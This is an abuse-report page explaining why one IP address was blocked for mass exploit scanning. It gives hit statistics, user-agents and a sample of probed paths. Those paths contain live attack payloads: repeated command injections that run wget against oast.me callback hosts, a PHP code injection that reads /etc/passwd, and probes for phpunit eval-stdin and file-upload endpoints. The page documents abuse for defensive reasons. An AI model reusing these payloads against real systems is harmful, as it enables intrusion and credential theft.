abuseip.org

IP 34.242.242.75 is currently blocked by the redirs.com anycast edge.

Reason: scanning 14 domains
Hits (last hour): 13,687
Unique targets hit: 14
Unique paths probed: 2,033
Detection count: 17
First seen: 2026-05-25 06:34:38 UTC
Last seen: 2026-05-25 06:42:01 UTC
Block expires: 2026-05-26 07:37:13 UTC

Sample paths probed

/account
/backupmgt/pre_connect_check.php?auth_name=fail;wget+http://d89uqboq99gs73cc2qe0iwnxrjw9wad7w.oast.me;
/backupmgt/pre_connect_check.php?auth_name=fail;wget+http://d89uqboq99gs73cc2qe07e6odf6jkapkk.oast.me;
/backupmgt/pre_connect_check.php?auth_name=fail;wget+http://d89uqboq99gs73cc2qe06wi6pym3a6w46.oast.me;
/fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27
/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm
/backupmgt/pre_connect_check.php?auth_name=fail;wget+http://d89uqboq99gs73cc2qe03ncii66ch81nx.oast.me;
/backupmgt/pre_connect_check.php?auth_name=fail;wget+http://d89uqboq99gs73cc2qe0uteq6w3hnqiwf.oast.me;
/web/google_analytics.php
/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/wp-admin/admin-ajax.php
/backupmgt/pre_connect_check.php?auth_name=fail;wget+http://d89uqboq99gs73cc2qe0kjre9wk9qatny.oast.me;
/backupmgt/pre_connect_check.php?auth_name=fail;wget+http://d89uqboq99gs73cc2qe0icutoukmjd6dw.oast.me;
/backupmgt/pre_connect_check.php?auth_name=fail;wget+http://d89uqboq99gs73cc2qe0rj3fb5frdgxa6.oast.me;
/backupmgt/pre_connect_check.php?auth_name=fail;wget+http://d89uqboq99gs73cc2qe08w53j85rga1da.oast.me;
/upload
/filemanager/upload.php
/phpunit/phpunit/Util/PHP/eval-stdin.php
/backupmgt/pre_connect_check.php?auth_name=fail;wget+http://d89uqboq99gs73cc2qe0f1c43tbs73beo.oast.me;
/backupmgt/pre_connect_check.php?auth_name=fail;wget+http://d89uqboq99gs73cc2qe04fxguo79jy9y5.oast.me;

Sample User-Agents

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 Edg/147.0.0.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:149.0) Gecko/20100101 Firefox/149.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:149.0) Gecko/20100101 Firefox/149.0
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.2 Safari/605.1.15
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36

What does this mean?

This address sent traffic that the redirs.com edge classified as automated abuse — typically WordPress/PHP exploit scanning, credential file probing (.env, .git, .aws/), or mass-domain enumeration. The block is automatic and time-limited (24 hours from last detection).

If you believe this is a false positive, contact [email protected] with the IP and the timestamps above.